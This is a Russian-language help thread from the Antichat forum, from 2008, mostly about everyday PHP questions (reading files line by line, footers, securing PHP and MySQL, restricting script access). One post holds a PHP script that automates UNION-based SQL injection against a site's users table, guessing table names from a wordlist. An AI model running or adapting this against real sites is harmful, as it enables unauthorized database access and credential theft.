Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

15.05.2008, 10:18
|
|
Познающий
Регистрация: 10.01.2008
Сообщений: 43
Провел на форуме: 97223
Репутация:
5
|
|
А как считывать файл построчно, чтоб цыкл закончился вместе с концом файла????
или есть у кого код чтоб перебирать столбцы или колонки в Mysql&&&
|
|
|

15.05.2008, 11:32
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от На100ящий
А как считывать файл построчно, чтоб цыкл закончился вместе с концом файла????
или есть у кого код чтоб перебирать столбцы или колонки в Mysql&&&
PHP код:
$fd = fopen("file_name", "r");
if(!$fd)
{
echo "Нет файла по указанному пути";
}
else
{
while(!feof($fd))
{
$stroka = str_replace("\r\n","", fgets($fd));
add_data($stroka); // заносим строку в таблицу (функция add_data - пользовательская)
}
}
fclose($fd);
|
|
|

16.05.2008, 17:17
|
|
Познающий
Регистрация: 10.01.2008
Сообщений: 43
Провел на форуме: 97223
Репутация:
5
|
|
Подскажите где ошибка, вроде всё правильно, но не находит существующие столбцы в MYSQL!
<?
@set_time_limit(0);
$strverno=file_get_contents("site/index.php?id=1+UNION+SELECT+1,2,3,4,5,6,7,8,9+from +pro.users+limit+1,1/*");
preg_match_all("/<a href=\"(.+)\">(.+)<\/a>/isU",$strverno,$m);
foreach($m[2] as $s){
}
$fd = fopen("kol.txt", "r");
while(!feof($fd)) {
$ma=trim(fgets($fd));
$str=file_get_contents("site/index.php?id=1+UNION+SELECT+1,2,3,4,5,6,7,8,9+from +pro.".$ma."+limit+1,1/*");
preg_match_all("/<a href=\"(.+)\">(.+)<\/a>/isU",$str,$p);
foreach($p[2] as $k){
}
if($s==$k){
echo "ok, exist";
}
else {
echo "error";
}
}
fclose($fd);
?>
|
|
|

16.05.2008, 17:56
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме: 302951
Репутация:
67
|
|
PHP код:
foreach($m[2] as $s){
}
foreach($p[2] as $k){
}
а это так и должно быть что цикл открылся и сразу закрылся, не выполняя никаких действий??
|
|
|

16.05.2008, 19:53
|
|
Постоянный
Регистрация: 18.10.2007
Сообщений: 461
Провел на форуме: 577061
Репутация:
66
|
|
Привет всем
Подскажите пожалуйста как разместить <?php include("footer.inc");?> именно внизу страницы независимо от того сколько всякого на странице уже размещено - т.е. так чтоб футер всегд был только внизу страницы
спасибо
|
|
|

16.05.2008, 20:37
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме: 19975136
Репутация:
4536
|
|
в самый конец кода вставляй....
|
|
|

16.05.2008, 21:09
|
|
Познающий
Регистрация: 10.01.2008
Сообщений: 43
Провел на форуме: 97223
Репутация:
5
|
|
Корвин
Да, цыкл возвращает $k=4, тоесть раскрутка масива и получение значения!
|
|
|

16.05.2008, 23:15
|
|
Постоянный
Регистрация: 22.03.2008
Сообщений: 325
Провел на форуме: 1208132
Репутация:
63
|
|
Плиз дайте хорошую ссылку про то 'Как обезопасить свой код (РHP+Mysql)' короче наверн поняли.. .
|
|
|

16.05.2008, 23:22
|
|
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
Провел на форуме: 4608122
Репутация:
874
|
|
2 Buffalon
http://bvisoft.com/reads/263.php
Вот почитай, используя mysqli можеш забыть про СКЛ-инъекты
А вот общее по безопасности, мне понравилось 
http://www.1c-bitrix.ru/security/recommendations.php
|
|
|

17.05.2008, 03:24
|
|
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
Провел на форуме: 519496
Репутация:
78
|
|
Как осуществить авторизацию к определенным скриптам, на прямой доступ к скрипту что бы тебя отправляли на форму авторизации... Без использования .htpassw именно php скрипт... Приведите пож короткий пример, выжная часть вопроса, это как запретить доступ к опред скриптам...
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|